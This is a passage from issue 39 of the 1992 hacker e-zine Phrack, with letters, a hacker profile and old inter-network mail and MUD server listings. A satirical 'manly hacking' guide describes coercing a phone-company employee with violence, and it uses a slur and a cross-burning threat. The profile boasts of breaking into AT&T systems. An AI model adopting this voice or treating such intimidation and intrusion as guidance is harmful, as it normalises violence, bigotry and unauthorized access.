So you say you don't own a Macintosh? That is ok, because the circuit can be used with other devices besides your Mac. You can use it with the 8 ohm headphone output from tape recorders, radios, scanners, etc. You could also probably use it with any other computer as long as you had the proper audio D/A hardware and software to create sounds.

All parts are available from Mouser Electronics. Call 800‑346‑6873 for a free catalog.

________________________________________

Thank You Disk Jockey!

~~~~~~~~~~~~~~~~~~~~~~

Date: May 22, 1992

From: Sarlo

To: Phrack

Subject: The Disk Jockey

I was searching through some Phracks (issues 30‑38), just checking them out and noticed something. It's small and insignificant, I guess, but important to me all the same.

I noticed in Disk Jockey's Prophile (Phrack 34, File 3) that he "Never got any thanks for keeping his mouth shut."..I dunno how to get ahold of him or anything, but if you drop a line to him sometime, tell him I said "thanks."

‑Sarlo

________________________________________

An Upset Reader Responds To Knight Lightning and Phrack

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Mon, 20 Apr 92 16:57 GMT

From: "Thomas J. Klotzbach" <0003751365@mcimail.com>

To: Knight Lightning <kl@stormking.com>

Subject: In response to your comments of Phrack Vol 4, Issue 37, File 2 of 14

Hi,

I have a lot of respect for Phrack and all the work they are doing to promote an understanding of the Computer Underground. But your comments in the latest issue of Phrack are what I would like to comment on.

You say:

"In short ‑‑ I speak on behalf of the modem community in general, 'FUCK OFF GEEK!' Crawl back under the rock from whence you came and go straight to hell!"

First, you don't speak for me and about five other people at this college. I have maintained throughout that the ONLY way to further the efforts of the Computer Underground is to destroy them with logic ‑ not with creton‑like comments. Yes, you are entitled to your say ‑ but why not take this Dale Drew person and destroy him with logic? The minute that you descend to the level Dale Drew operates from makes you look just as ridiculous as him.

In my opinion, you came off very poorly in the exchange with Dale Drew.

Thomas J. Klotzbach MCI Mail: 375‑1365 Genesee Community College Internet: 3751365@mcimail.com

Batavia, NY 14020 Work: (716) 343‑0055 x358

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dear Mr. Klotzbach,

>From all of us at Phrack, this is our reply to your recent email...

****************************************

Cyber‑Redneck & Shitkickin' Jim's GUIDE TO MANLY HACKING

A Lod/GoD Presentation Legion of d0oDeZ / Gardeners of Doom!

"You can have my encryption algorithm, when you pry it from my cold dead fingers!"

****************************************

NOW BOYS... first of all, you gotta git yerself a pickup truck. Shitkickin' Jim's got one. And you gotta get a bedliner, a toolbox, a gunrack, and a CB. For decoration, you have to get a confederate flag Hank Williams Jr. license plate, or a Harley Davidson license plate, at your option. You also gotta get an NRA sticker for the back, and the Bassmaster fishing sticker (you know, the one that's has a fish on it). The most mandatory requirement are two antennaes for your CB which are mounted on each of the side view mirrors.

Now that you have your pickup truck/hackermobile, you gotta rip out the dashboard and mount a Data General processing unit in the front seat, cuz that's a manly‑sounding computer name, not some pussy sounding 'puter. You also have to get an Anchorman direct‑connect modem, cuz that's the only thing left that your battery will be able to power.

Not only do you have to have a pickup truck, but you gotta have rollbars, with foglights, armed with KC light covers so that you can see at night while you're trashing.

THE MANLY WAY FOR A NIGHT OF HACKING

NOTE: Before you begin any journey in the hackmobile, you must get a six pack of Budweiser, and a carton of Marlboro reds. It's mandatory.

Call up your buddy who owns his own trash business. If you are a real man, ALL of your friends will work in this business. Get him to take the company truck out (the deluxe model ‑‑ the Hercules trash truck, the one with the forklift on the front).

HOW REAL MEN GO TRASHING

Drive down to your local Bell office or garage, and empty all of the dumpsters into the trashtruck, by way of the convenient forklift. This method has brought both me and Shitkickin' Jim much luck in the way of volume trashing.

Now that you have all of your trash, go back and dump it in your backyard. If you are a real man, no one will notice. Dump it between the two broke down Chevette's, the ones that all the dogs will sleep under, next to the two barrels of wire.

Go through the trash and find out who the geek is that is the switchman at the central office. This shouldn't be hard. It's the little squiggly letters at the bottom of the page.

Next, drive to his house. Pull your truck into his front yard. Threaten him with the following useful phrase:

"HAY FAY‑GUT! WUT IS THE PASSWORD TO THE LOCAL COSMOS DIALUP?"

"IFFIN YOU DON'T TELL ME, I'M GONNA RUN OVER YOUR PIECE OF SHIT RICE‑BURNING COMMUNIST JAPANESE CAR WITH MY 4 BY 4 PICKUP TRUCK, GAWDDAMIT!"

Then spit a big, brown, long tobaccoe‑juice glob onto his shirt, aiming for the Bell logo. Should he withhold any information at this point, git out of yer truck and walk over to him. Grab him by his pencil neck, and throw him on the ground. Place your cowboy boot over his forehead, and tell him your going to hogtie his ass to the front of your 4 by 4 and smash him into some concrete posts. At this point, he will give in, especially noticing the numerous guns in the gunrack.

WHAT TO DO WITH THE INFORMATION THAT YOU HAVE COVERTLY OBTAINED

Don't even think about using a computer. Make him log on to his terminal at home, and make him do whatever you like. Read a copy of JUGGS magazine, or High Society, or Hustler, while at the same time exhibiting your mighty hacker power. Enjoy the newfound fame and elitism that you will receive from your friends and loved ones. GOD BLESS AMERICA!

***************************

This file was brought to you by Cyber‑Redneck a/k/a Johnny Rotten, and Shitkickin' Jim a/k/a Dispater.

Iffin you don't like this here file, we will burn a cross in your yard, and might even tell the BellCo geek to cut your line off. He's still tied up in Shitkickin' Jim's basement.

Phrack Pro-Phile on Shadow Hawk 1

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 3 of 13

==Phrack Pro‑Phile==

Written by Dispater

Created by Taran King (1986)

Welcome to Phrack Pro‑Phile. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you the one of the earlier hackers to make headlines and legal journals due to computer hacking...

(_>Shadow Hawk 1<_)

________________________________________

Personal

~~~~~~~~

Handle: (_>Shadow Hawk 1<_)

Call me: Herb

Past handles: Feyd Rautha, Captain Beyond, Mental Cancer Handle origin: Stolen from the name of an 8‑bit Atari 800 game that seemed to be written in the language RGL (anyone got it for the IBM? ;‑) ).

Date of Birth: August 6, 1970

Age at current date: 21

Height: 6'2"

Weight: 190 lbs.

Eye color: Gray

Hair color: Brown

Computer: 386/Linux

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I started working with computers in the 6th grade with an Atari 800 and a cassette drive. I added a modem and a disk drive and started researching other computer systems [checking out other hacker's conquests ;‑) ]. Eventually, I decided that UNIX was to be the OS of choice.

As a child, I was always curious about stuff in my own reality, so naturally, when computers became available...

I first owned an Atari 800, then an Atari ST 1040, followed by a shortlived Unix‑PC 3B1, and a lame 20MHz 386. Currently, I have a 33MHz 386. Most of my hacking‑type knowledge came from a text file that listed a few Unix defaults; I used those to go and learn more on my own. Other OSes, I just hacked at random 8‑).

I started out with systems that had already been penetrated and I built up my own database of systems from there. I wasn't too clever in the beginning, though, and lost a few systems to perceptive sys‑admins.

I specialized in Unix, though I enjoyed toying with obscure systems (RSX‑11, Sorbus Realtime Basic, etc.)

In the hack/phreak world, I used to hang out with The Prophet, The Serpent (Chicago), The Warrior, and others for short periods of time, who shall remain nameless.

As far as what were memorable hack/phreak BBSes, I'd have to say none... Not that there weren't any, but I have just forgotten them all.

My accomplishments in the phreak/hack world include writing a few text files, typing in a few books, getting in lots of systems, and learning a bit about the Unix OS. Other than that, absolutely nothing; my life is computers! (NOT!)

I _was_ associated with the J‑Men a few years back, but that's the only hack/phreak group that I ever had anything to do with.

I was busted for overzealousness in penetrating AT&T computer networks and systems. I stupidly made calls from my unprotected home phone. I got caught trying to snag Unix SysV 3.5 68K kernel source.

I had already given up the practice of sharing information when I realized how quickly systems went away after their numbers and logins were posted 8‑). After I got busted, I decided it might be best to limit my hacking to those strata of reality on which it is not (yet) prohibited to hack ;‑) .

In real life, I originally was going to be an EE/CS major in school, but now, I'm leaning towards math/modeling/nonlinear dynamics. Work when necessary 8‑|.

I'm into making music, drawing strange pictures, and exploring the nether regions of physical reality. Occasionally I am seen at sci‑fi conventions in various forms and personages.

I feel seriously against taking things too seriously. If you can master that, you've got it all beat!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(_>Shadow Hawk 1<_)'s Favorite Things

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Work: Nihilist Ontologist.

Cars: Fast & Loud.

Foods: I like a little of every cuisine, except those involving large amounts of horseradish, beets, raw tomatoes, etc. Music: Ecumenical.

Authors: R.A. Wilson is good for kicks; other than that I haven't read much fiction lately. Lots of non‑fiction. Books: Illuminatus, Stranger in a Strange Land, Man or Matter, Godel Escher and Bach, The Book of the SubGenius. Performers: The people at NASA, the U.S. government beings at Washington, the nightly news.

Sex: Yes.

Most Memorable Experience

~~~~~~~~~~~~~~~~~~~~~~~~~

Coming home to a house full of Secret Service, FBI, NSA, DIA, and AT&T agents after getting really stoned with some neighborhood friends, and then having them take everything electronic that didn't appear to be a household appliance EXCEPT the obviously stolen/dangerous items: a digital power meter, a He‑Ne laser, and jars of chemicals for making bombs. HUMOR AT ITS FINEST!

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

o Thanks to Bill Cook for leaving no stone unturned in my personal life! o Thanks to "my" lawyer, Karen Plant, for leaving MANY stones unturned in helping to decide my fate!

o Thanks to the U.S. Federal Justice System for sentencing me to a 9 months in a "juvenile facility" (as well as confiscating thousands of dollars of stuff, some legal & some not) while allowing burglars, politicians, and virus‑authors to go free with a slap on the wrist!

o Thanks for Operation Sun‑Devil, without which, the venerable Ripco BBS would still be in its first incarnation!

A Few Other Things

~~~~~~~~~~~~~~~~~~

I'd like to thank all the great beings at Lunatic Labs for not removing my account while I was sight‑seeing in South Dakota. HI! to all my TRUE friends (you know who you are) and all the FALSE ones too! Where would I be now without you? Thanks to all those who love me enough to want to control my mind. And, of course, THANKS to the hack/phreak community in general for not only becoming, as most countercultures do, decadent and passe, but also for still bugging me after all these years!

The Future: well, if reality doesn't cave itself in TOO badly with all of the virtuality that's on its way, it should be a great time for all to play with the "net!"

Inside jokes: HALOHALOHALOHALOHALOHALOHALOHALOHALOSKSKSKSKSKSKSKSKSKSKSKSKSK eaerlyeaerlyeaerlyeaerlyeaerlyeaerly... the gwampismobile shall ride again!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?

Well, as far as geeking goes, all are free to pursue their interests. It is important to remember that social evolution and mental evolution do not necessarily occur simultaneously, or instantaneously (usually).

Network Miscellany V

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 4 of 13

Network Miscellany V

Compiled from Internet Sources

by Datastream Cowboy

Network Miscellany created by Taran King

University of Colorado Netfind Server

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Trying 128.138.243.151 ...

Connected to bruno.cs.colorado.edu.

Escape character is '^]'.

SunOS UNIX (bruno)

login: netfind

========================================

Welcome to the University of Colorado Netfind server.

========================================

I think that your terminal can display 24 lines. If this is wrong, please enter the "Other" menu and set the correct number of lines.

Help/Search/Other/Quit [h/s/o/q]: h

Given the name of a person on the Internet and a rough description of where the person works, Netfind attempts to locate information about the person. When prompted, enter a name followed by a set of keywords, such as

schwartz university colorado boulder

The name can be a first, last, or login name. The keys describe where the person works, by the name of the institution and/or the city/state/country.

If you know the institution's domain name (e.g., "cs.colorado.edu", where there are host names like "brazil.cs.colorado.edu") you can specify it as keys without the dots (e.g., "cs colorado edu"). Keys are case insensitive and may be specified in any order. Using more than one key implies the logical AND of the keys. Specifying too many keys may cause searches to fail. If this happens, try specifying fewer keys, e.g.,

schwartz boulder

If you specify keys that match many domains, Netfind will list some of the matching domains/organizations and ask you to form a more specific search. Note that you can use any of the words in the organization strings (in addition to the domain components) as keys in future searches.

Organization lines are gathered from imperfect sources. However, it is usually easy to tell when they are incorrect or not fully descriptive. Even if the organization line is incorrect/vague, the domain name listed will still work properly for searches. Often you can "guess" the proper domain.

For example, "cs.<whatever>.edu" is usually the computer science department at a university, even if the organization line doesn't make this clear.

When Netfind runs, it displays a trace of the parallel search progress, along with the results of the searches. Since output can scroll by quickly, you might want to run it in a window system, or pipe the output through tee(1):

rlogin <this server name> ‑l netfind |& tee log

You can also disable trace output from the "Other" menu.

You can get the Netfind software by anonymous FTP from ftp.cs.colorado.edu, in pub/cs/distribs/netfind. More complete documentation is also available in that package. A paper describing the methodology is available in pub/cs/techreports/schwartz/RD.Papers/PostScript/White.Pages.ps.Z (compressed PostScript) or pub/cs/techreports/schwartz/RD.Papers/ASCII/White.Pages.txt.Z (compressed ASCII).

Please send comments/questions to schwartz@cs.colorado.edu. If you would like to be added to the netfind‑users list (for software updates and other discussions, etc.), send mail to:

netfind‑users‑request@cs.colorado.edu.

Help/Search/Other/Quit [h/s/o/q]: q

Exiting Netfind server...

Connection closed by foreign host.

________________________________________

Commercial Networks Reachable From The Internet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Roman Kanala (kanala@sc2a.unige.ch), CUEPE, University of Geneva

1. Internet to X.400

====================

An X.400 address in form

First name : Fffff

Surname : Nnnnn

Organization : Ooooo

ADMD : Aaaaa

Country : Cc

looks in RFC822 (Internet) addressing like

/G=Fffff/S=Nnnnn/O=Ooooo/@Aaaa.Cc

or

in%"/G=Fffff/S=Nnnnn/O=Ooooo/@Aaaa.Cc"

2. Any X.400 to Internet

========================

My Internet address

kanala@sc2a.unige.ch

can be written for X.400 services (like arCom400 in Switzerland, Sprint MAIL or MCI Mail in the USA) as follows:

C=CH; ADMD=ARCOM; PRMD=SWITCH; O=UNIGE; OU=SC2A; S=KANALA

and in Internet RFC822 form (althrough I don't see any reason to do it this way for sending messages from Internet to Internet):

/S=Kanala/OU=sc2a/O=UniGe/P=Switch/@arcom.ch

3. MCI Mail to Internet (via a gateway)

=======================

If you are in the USA and using MCI Mail, then you can write to Internet addresses as follows:

TO: Roman Kanala (EMS)

EMS: INTERNET

MBX: kanala@sc2a.unige.ch

The gateway from MCI Mail to Internet is accessed by referencing the user's name as though he were on an EMS service. When EMS name of INTERNET is used for example, in the USA, then it's in order to have NRI (Reston VA) handle the message for him. When prompted for mailbox MBX, user enters the Internet address he is wanting to send a message to.

4. Internet to MCI Mail

=======================

The general address form is username@mcimail.com, where the username is in one of two forms: either full username or the numerical box number in form of digits only and preceded by three zeros, for ex. 0001234567@mcimail.com (address 1234567 is ficticious).

5. AppleLink to Internet or Bitnet

==================================

Internet address is used with a suffix @INTERNET#, like

kanala@sc2a.unige.ch@internet#

or kanala@cgeuge52.bitnet@internet#

(here cgeuge52 is the bitnet address of sc2a.unige.ch)

6. Internet or Bitnet to AppleLink

==================================

AppleLink address is used as if it were an Internet username on the AppleLink.Apple.Com node, like:

CH0389@applelink.apple.com

7. CompuServe to Internet

=========================

In the address field from CompuServe, type the symbol >, "greater than", the word "INTERNET" in uppercase characters, then a space followed by the Internet address, like:

>INTERNET kanala@sc2a.unige.ch

8. Internet to CompuServe

=========================

The CompuServe address is used followed by "@compuserve.com". In the CompuServe mailbox number the comma is replaces by a period, example:

12345.678@compuserve.com (address 12345.678 is ficticious)

________________________________________

Inter‑Network Mail Guide

~~~~~~~~~~~~~~~~~~~~~~~~

This document is Copyright 1990 by John J. Chew. All rights reserved. Permission for non‑commercial distribution is hereby granted, provided that this file is distributed intact, including this copyright notice and the version information above. Permission for commercial distribution can be obtained by contacting the author as described below.

INTRODUCTION

This file documents methods of sending mail from one network to another. It represents the aggregate knowledge of the readers of comp.mail.misc and many contributors elsewhere. If you know of any corrections or additions to this file, please read the file format documentation below and then mail to me:

John J. Chew <poslfit@gpu.utcs.utoronto.ca>

DISTRIBUTION

(news) This list is posted monthly to Usenet newsgroups comp.mail.misc and news.newusers.questions.

(mail) I maintain a growing list of subscribers who receive each monthly issue by electronic mail, and recommend this to anyone planning to redistribute the list on a regular basis.

(FTP) Internet users can fetch this guide by anonymous FTP as ~ftp/pub/docs/ internetwork‑mail‑guide on Ra.MsState.Edu (130.18.80.10 or 130.18.96.37) [Courtesy of Frank W. Peters]

(Listserv) Bitnet users can fetch this guide from the Listserv at UNMVM. Send mail to LISTSERV@UNMVM with blank subject and body consisting of the line "GET NETWORK GUIDE". [Courtesy of Art St. George]

HOW TO USE THIS GUIDE

Each entry in this file describes how to get from one network to another. To keep this file at a reasonable size, methods that can be generated by transitivity (A‑>B and B‑>C gives A‑>B‑>C) are omitted. Entries are sorted first by source network and then by destination network. This is what a typical entry looks like:

#F mynet

#T yournet

#R youraddress

#C contact address if any

#I send to "youraddress@thegateway"

For parsing purposes, entries are separated by at least one blank line, and each line of an entry begins with a "#" followed by a letter. Lines beginning with "#" are comments and need not be parsed. Lines which do not start with a "#" at all should be ignored as they are probably mail or news headers.

#F (from) and #T (to) lines specify source and destination networks. If you're sending me information about a new network, please give me a brief description of the network so that I can add it to the list below. The abbreviated network names used in #F and #T lines should consist only of the characters a‑z, 0‑9 and "‑" unless someone can make a very convincing case for their favourite pi character.

These are the currently known networks with abbreviated names:

applelink AppleLink (Apple Computer, Inc.'s in‑house network) bitnet international academic network

bix Byte Information eXchange: Byte magazine's commercial BBS bmug Berkeley Macintosh Users Group

compuserve commercial time‑sharing service

connect Connect Professional Information Network (commercial) easynet Easynet (DEC's in‑house mail system)

envoy Envoy‑100 (Canadian commercial mail service) fax Facsimile document transmission

fidonet PC‑based BBS network

geonet GeoNet Mailbox Systems (commercial)

internet the Internet

mci MCI's commercial electronic mail service mfenet Magnetic Fusion Energy Network

nasamail NASA internal electronic mail

peacenet non‑profit mail service

sinet Schlumberger Information NETwork

span Space Physics Analysis Network (includes HEPnet) sprintmail Sprint's commercial mail service (formerly Telemail) thenet Texas Higher Education Network

#R (recipient) gives an example of an address on the destination network, to make it clear in subsequent lines what text requires subsitution.

#C (contact) gives an address for inquiries concerning the gateway, expressed as an address reachable from the source (#F) network. Presumably, if you can't get the gateway to work at all, then knowing an unreachable address on another network will not be of great help.

#I (instructions) lines, of which there may be several, give verbal instructions to a user of the source network to let them send mail to a user on the destination network. Text that needs to be typed will appear in double quotes, with C‑style escapes if necessary.

#F applelink

#T internet

#R user@domain

#I send to "user@domain@internet#"

#I domain can be be of the form "site.bitnet", address must be <35 characters

#F bitnet

#T internet

#R user@domain

#I Methods for sending mail from Bitnet to the Internet vary depending on #I what mail software is running at the Bitnet site in question. In the #I best case, users should simply be able to send mail to "user@domain". #I If this doesn't work, try "user%domain@gateway" where "gateway" is a #I regional Bitnet‑Internet gateway site. Finally, if neither of these #I works, you may have to try hand‑coding an SMTP envelope for your mail. #I If you have questions concerning this rather terse note, please try #I contacting your local postmaster or system administrator first before #I you send me mail ‑‑ John Chew <poslfit@gpu.utcs.utoronto.ca>

#F compuserve

#T fax

#R +1 415 555 1212

#I send to "FAX 14155551212" (only to U.S.A.)

#F compuserve

#T internet

#R user@domain

#I send to ">INTERNET:user@domain"

#F compuserve

#T mci

#R 123‑4567

#I send to ">MCIMAIL:123‑4567"

#F connect

#T internet

#R user@domain

#I send to CONNECT id "DASNET"

#I first line of message: "\"user@domain\"@DASNET"

#F easynet

#T bitnet

#R user@site

#C DECWRL::ADMIN

#I from VMS use NMAIL to send to "nm%DECWRL::\"user@site.bitnet\"" #I from Ultrix

#I send to "user@site.bitnet" or if that fails

#I (via IP) send to "\"user%site.bitnet\"@decwrl.dec.com"

#I (via DECNET) send to "DECWRL::\"user@site.bitnet\""

#F easynet

#T fidonet

#R john smith at 1:2/3.4

#C DECWRL::ADMIN

#I from VMS use NMAIL to send to

#I "nm%DECWRL::\"john.smith@p4.f3.n2.z1.fidonet.org\""

#I from Ultrix

#I send to "john.smith@p4.f3.n2.z1.fidonet.org" or if that fails #I (via IP) send to \"john.smith%p4.f3.n2.z1.fidonet.org\"@decwrl.dec.com"

#I (via DECNET) send to "DECWRL::\"john.smith@p4.f3.n2.z1.fidonet.org\""

#F easynet

#T internet

#R user@domain

#C DECWRL::ADMIN

#I from VMS use NMAIL to send to "nm%DECWRL::\"user@domain\""

#I from Ultrix

#I send to "user@domain" or if that fails

#I (via IP) send to "\"user%domain\"@decwrl.dec.com"

#I (via DECNET) send to "DECWRL::\"user@domain\""

#F envoy

#T internet

#R user@domain

#C ICS.TEST or ICS.BOARD

#I send to "[RFC‑822=\"user(a)domain\"]INTERNET/TELEMAIL/US

#I for special characters, use @=(a), !=(b), _=(u), any=(three octal digits)

#F fidonet

#T internet

#R user@domain

#I send to "uucp" at nearest gateway site

#I first line of message: "To: user@domain"

#F geonet

#T internet

#R user@domain

#I send to "DASNET"

#I subject line: "user@domain!subject"

#F internet

#T applelink

#R user

#I send to "user@applelink.apple.com"

#F internet

#T bitnet

#R user@site

#I send to "user%site.bitnet@gateway" where "gateway" is a gateway host that #I is on both the internet and bitnet. Some examples of gateways are: #I cunyvm.cuny.edu mitvma.mit.edu. Check first to see what local policies #I are concerning inter‑network forwarding.

#F internet

#T bix

#R user

#I send to "user@dcibix.das.net"

#F internet

#T bmug

#R John Smith

#I send to "John.Smith@bmug.fidonet.org"

#F internet

#T compuserve

#R 71234,567

#I send to "71234.567@compuserve.com"

#I note: Compuserve account IDs are pairs of octal numbers. Ordinary #I consumer CIS user IDs begin with a `7' as shown.

#F internet

#T connect

#R NAME

#I send to "NAME@dcjcon.das.net"

#F internet

#T easynet

#R HOST::USER

#C admin@decwrl.dec.com

#I send to "user@host.enet.dec.com" or "user%host.enet@decwrl.dec.com"

#F internet

#T easynet

#R John Smith @ABC

#C admin@decwrl.dec.com

#I send to "John.Smith@ABC.MTS.DEC.COM"

#I (This syntax is for All‑In‑1 users.)

#F internet

#T envoy

#R John Smith (ID=userid)

#C /C=CA/ADMD=TELECOM.CANADA/ID=ICS.TEST/S=TEST_GROUP/@nasamail.nasa.gov #C for second method only

#I send to "uunet.uu.net!att!attmail!mhs!envoy!userid"

#I or to "/C=CA/ADMD=TELECOM.CANADA/DD.ID=userid/PN=John_Smith/@Sprint.COM"

#F internet

#T fidonet

#R john smith at 1:2/3.4

#I send to "john.smith@p4.f3.n2.z1.fidonet.org"

#F internet

#T geonet

#R user at host

#I send to "user:host@map.das.net"

#I American host is geo4, European host is geo1.

#F internet

#T mci

#R John Smith (123‑4567)

#I send to "1234567@mcimail.com"

#I or send to "JSMITH@mcimail.com" if "JSMITH" is unique

#I or send to "John_Smith@mcimail.com" if "John Smith" is unique ‑ note the #I underscore!

#I or send to "John_Smith/1234567@mcimail.com" if "John Smith" is NOT unique

#F internet

#T mfenet

#R user@mfenode

#I send to "user%mfenode.mfenet@nmfecc.arpa"

#F internet

#T nasamail

#R user

#C <postmaster@ames.arc.nasa.gov>

#I send to "user@nasamail.nasa.gov"

#F internet

#T peacenet

#R user

#C <support%cdp@arisia.xerox.com>

#I send to "user%cdp@arisia.xerox.com"

#F internet

#T sinet

#R node::user or node1::node::user

#I send to "user@node.SINet.SLB.COM" or "user%node@node1.SINet.SLB.COM"

#F internet

#T span

#R user@host

#C <NETMGR@nssdca.gsfc.nasa.gov>

#I send to "user@host.span.NASA.gov"

#I or to "user%host.span@ames.arc.nasa.gov"

#F internet

#T sprintmail

#R [userid "John Smith"/organization]system/country

#I send to /C=country/ADMD=system/O=organization/PN=John_Smith/DD.ID=userid/@Sprint.COM"

#F internet

#T thenet

#R user@host

#I send to "user%host.decnet@utadnx.cc.utexas.edu"

#F mci

#T internet

#R John Smith <user@domain>

#I at the "To:" prompt type "John Smith (EMS)"

#I at the "EMS:" prompt type "internet"

#I at the "Mbx:" prompt type "user@domain"

#F nasamail

#T internet

#R user@domain

#I at the "To:" prompt type "POSTMAN"

#I at the "Subject:" prompt enter the subject of your message

#I at the "Text:" prompt, i.e. as the first line of your message, #I enter "To: user@domain"

#F sinet

#T internet

#R user@domain

#I send to "M_MAILNOW::M_INTERNET::\"user@domain\""

#I or "M_MAILNOW::M_INTERNET::domain::user"

#F span

#T internet

#R user@domain

#C NETMGR@NSSDCA

#I send to "AMES::\"user@domain\""

#F sprintmail

#T internet

#R user@domain

#I send to "[RFC‑822=user(a)domain @GATEWAY]INTERNET/TELEMAIL/US"

#F thenet

#T internet

#R user@domain

#I send to UTADNX::WINS%" user@domain "

________________________________________

MUDs

~~~~

By Frosty of CyberSpace Project

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MUDWHO servers (5)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Amber amber.ecst.csuchico.edu 132.241.1.43 6889 up 1 DEC decuac.dec.com 192.5.214.1 6889 up 5 Littlewood littlewood.math.okstate. 139.78.1.13 6889 up 4 edu

Nova nova.tat.physik. 134.2.62.161 6889 up 3 uni‑tuebingen.de

PernWHO milo.mit.edu 18.70.0.216 6889 up 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AberMUDs (11)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Aber5@FSU loligo.cc.fsu.edu 128.186.2.99 5000 R* DIRT ulrik.uio.no 129.240.2.4 6715 up 32 Dragon messua.informatik. 137.226.224.9 6715 up rwth‑aachen.de

Eddie aber eddie.ee.vt.edu 128.173.5.207 5000 TO Alles

EnchantedMud neptune.calstatela.edu 130.182.193.1 6715 up 22 Longhorn lisboa.cs.utexas.edu 128.83.139.10 6715 up Mustang MUD mustang.dell.com 143.166.224.42 6715 up SpudMud stjoe.cs.uidaho.edu 129.101.128.7 6715 up Temple bigboy.cis.temple.edu 129.32.32.98 6715 up The Underground hal.gnu.ai.mit.edu 128.52.46.11 6715 R* Wolf b.cs.wvu.wvnet.edu 129.71.11.2 6715 R*

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DikuMUDs (17)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Albanian judy.indstate.edu 139.102.14.10 4000 R DikuMUD

AlexMUD alex.stacken.kth.se 130.237.237.3 4000 up *Alfa Diku alfa.me.chalmers.se 129.16.50.11 4000 up Austin MUD austin.daimi.aau.dk 130.225.16.161 4000 R 29 Caltech DIKU eltanin.caltech.edu 131.215.139.53 4000 R Copper Diku copper.denver.colorado. 132.194.10.1 4000 up 33 edu

Davis Diku fajita.ucdavis.edu 128.120.61.203 3000 up 28 DikuMUD I bigboy.cis.temple.edu 129.32.32.98 4000 up Elof DikuMUD elof.iit.edu 192.41.245.90 4000 up Epic hal.gnu.ai.mit.edu 128.52.46.11 9000 R Grimne Diku flipper.pvv.unit.no 129.241.36.200 4000 R

HypeNet ???? 129.10.12.2 4000 TO

Matsci1 Diku matsci1.uncwil.edu 128.109.221.21 4000 up Mudde hawk.svl.cdc.com 129.179.4.49 4000 up Pathetique

Sejnet Diku sejnet.sunet.se 192.36.125.3 4000 up Waterdeep shine.princeton.edu 128.112.120.28 4000 up Wayne Diku venus.eng.wayne.edu 141.217.24.4 4000 R

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DUMs (2)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

CanDUM II cheetah.vlsi.waterloo. 129.97.128.253 2001 up edu

DUM II legolas.cs.umu.se 130.239.88.5 2001 R 23

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LPmuds (58)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Aegolius vyonous.kennesaw.edu 130.218.13.19 2000 up Acadicus

After Hours janice.cc.wwu.edu 140.160.240.28 2000 up 30

Akropolis ???? 139.124.40.4 6666 up

Allinite ???? 134.126.21.223 2222 up

BatMUD palikka.jyu.fi 130.234.0.3 2001 up *CyberWorld newview.etsu.edu 192.43.199.33 3000 up 34 *Darkemud dunix.drake.edu 192.84.11.2 4040 up 26 Darker Realms worf.tamu.edu 128.194.51.189 2000 up Dartmouth LPMud lusty.tamu.edu 128.194.10.118 2000 up Deeper Trouble alk.iesd.auc.dk 130.225.48.46 4242 up DevMUD huey.cc.utexas.edu 128.83.135.2 9300 R DiscWorld II peregrin.resmel.bhp.com. 134.18.1.12 2000 up au

Dragon's Den ???? 129.25.7.111 2222 up

End Of The Line mud.stanford.edu 36.21.0.47 2010 up 35 Finnegan's Wake maxheadroom.agps.lanl. 192.12.184.10 2112 up gov

Frontier blish.cc.umanitoba.ca 130.179.168.77 9165 up GateWay secum.cs.dal.ca 129.173.24.31 6969 up *Genesis milou.cd.chalmers.se 129.16.79.12 2000 up 36 *Igor epsilon.me.chalmers.se 129.16.50.30 1701 up ImperialMUD aix.rpi.edu 128.113.26.11 2000 up 37 Ivory Tower brown‑swiss.macc.wisc. 128.104.30.151 2000 R 27 edu

